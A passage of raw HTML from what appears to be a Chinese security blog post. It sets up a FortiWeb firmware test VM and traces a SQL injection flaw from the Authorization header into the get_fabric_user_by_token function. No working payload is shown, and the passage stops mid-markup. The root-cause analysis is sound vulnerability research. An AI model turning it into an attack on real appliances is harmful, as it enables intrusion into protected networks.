width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">cargo install binwalk</span><span leaf=""><br/></span><span leaf="">binwalk -Me rootfs.gz</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">完美提取到了文件结构：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008569" data-ratio="0.39106145251396646" title="null" data-type="png" data-w="537" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0f5103&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfqbYxDpVLLEgJUnRbEC0eUiafeMBX8EDAABUjzibL0t6JHnGbSNTDcTsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">启动虚拟机后需要进行访问配置：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">#配置管理接口</span><span leaf=""><br/></span><span leaf="">config system interface</span><span leaf=""><br/></span><span leaf="">edit port1</span><span leaf=""><br/></span><span leaf="">set ip *.*.*.* 255.255.255.0</span><span leaf=""><br/></span><span leaf="">set allowaccess ping https ssh http</span><span leaf=""><br/></span><span leaf="">next</span><span leaf=""><br/></span><span leaf="">end</span><span leaf=""><br/></span><span leaf="">#配置网关</span><span leaf=""><br/></span><span leaf="">config router static</span><span leaf=""><br/></span><span leaf="">edit 1</span><span leaf=""><br/></span><span leaf="">set gateway *.*.*.1</span><span leaf=""><br/></span><span leaf="">set device port1</span><span leaf=""><br/></span><span leaf="">next</span><span leaf=""><br/></span><span leaf="">end</span><span leaf=""><br/></span><span leaf="">#配置dns服务</span><span leaf=""><br/></span><span leaf="">config system dns</span><span leaf=""><br/></span><span leaf="">set primary 8.8.8.8</span><span leaf=""><br/></span><span leaf="">set secondary 8.8.4.4</span><span leaf=""><br/></span><span leaf="">end</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v7.0.x</span></code><span leaf=""> 版本其实也可以通过配置命令进入底层 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">bash</span></code><span leaf=""> 。系统是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">x86_64</span></code><span leaf=""> 结构，可以上传 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gdbserver</span></code><span leaf=""> 进行调试。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞分析</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">FortiWeb</span></code><span leaf=""> 启动的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Web</span></code><span leaf=""> 服务对应 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/bin/httpsd</span></code><span leaf=""> 进程：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">#netstat -anpt</span><span leaf=""><br/></span><span leaf="">tcp        0      0 :::8                    :::*                    LISTEN      2804/httpsd</span><span leaf=""><br/></span><span leaf="">tcp        0      0 :::43                   :::*                    LISTEN      2804/httpsd</span><span leaf=""><br/></span><span leaf=""># ps -l |grep 2804</span><span leaf=""><br/></span><span leaf="">S     0  2804     1 99.2m 26096 0:0   08:28 00:00:00 /bin/httpsd</span><span leaf=""><br/></span><span leaf="">S     0  4348  2804  4320   616 0:0   09:48 00:00:00 /bin/rotatelogs -t /var/log/apache_logs/access_log 1M</span><span leaf=""><br/></span><span leaf="">S     0  4349  2804 99.4m 16856 0:0   09:48 00:00:00 /bin/httpsd</span><span leaf=""><br/></span><span leaf="">S     0 10988  2804  100m 22184 0:0   12:23 00:00:00 /bin/httpsd</span><span leaf=""><br/></span><span leaf="">S     0 12267  2804  100m 21764 0:0   12:23 00:00:00 /bin/httpsd</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">加载 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">httpsd</span></code><span leaf=""> ，然后尝试搜索潜在注入触发点，可以找到多个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sql</span></code><span leaf=""> 语句：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008568" data-ratio="0.3031400966183575" title="null" data-type="png" data-w="828" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d95dd2e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfvOvsj9JQZ9HwJEdqJdngBHibDs80vHJt1ZEstpj7egygYNqng2ia3DHw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">以 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">get_fabric_user_by_token</span></code><span leaf=""> 函数为例，存在比较明显的字符串拼接：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008572" data-ratio="0.8712328767123287" title="null" data-type="png" data-w="730" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=45dd1504&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfyibmA3mgO6omMnhibWYG2olicJDoCCmXLDUmqlkMQdedX6DzicibIRZrVGw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">向上搜索，在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">fabric_access_check</span></code><span leaf=""> 函数中存在数据库操作，并且调用了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">get_fabric_user_by_token</span></code><span leaf=""> ，输入参数来自于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">header</span></code><span leaf=""> 头中的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Authorization</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008570" data-ratio="0.808695652173913" title="null" data-type="png" data-w="805" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e873e8ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKf2zsw3wsdZ9w7iaqtZwO46UEAFKLy4PsoHP0d7rvtUOo4utKt6ELjB9g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">继续搜索 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">fabric_access_check</span></code><span leaf=""> 的调用点，定位到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sub_637E20</span></code><span leaf=""> ，该函数调用了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache</span></code><span leaf=""> 框架中 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 处理的钩子注册函数 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ap_hook_handler</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 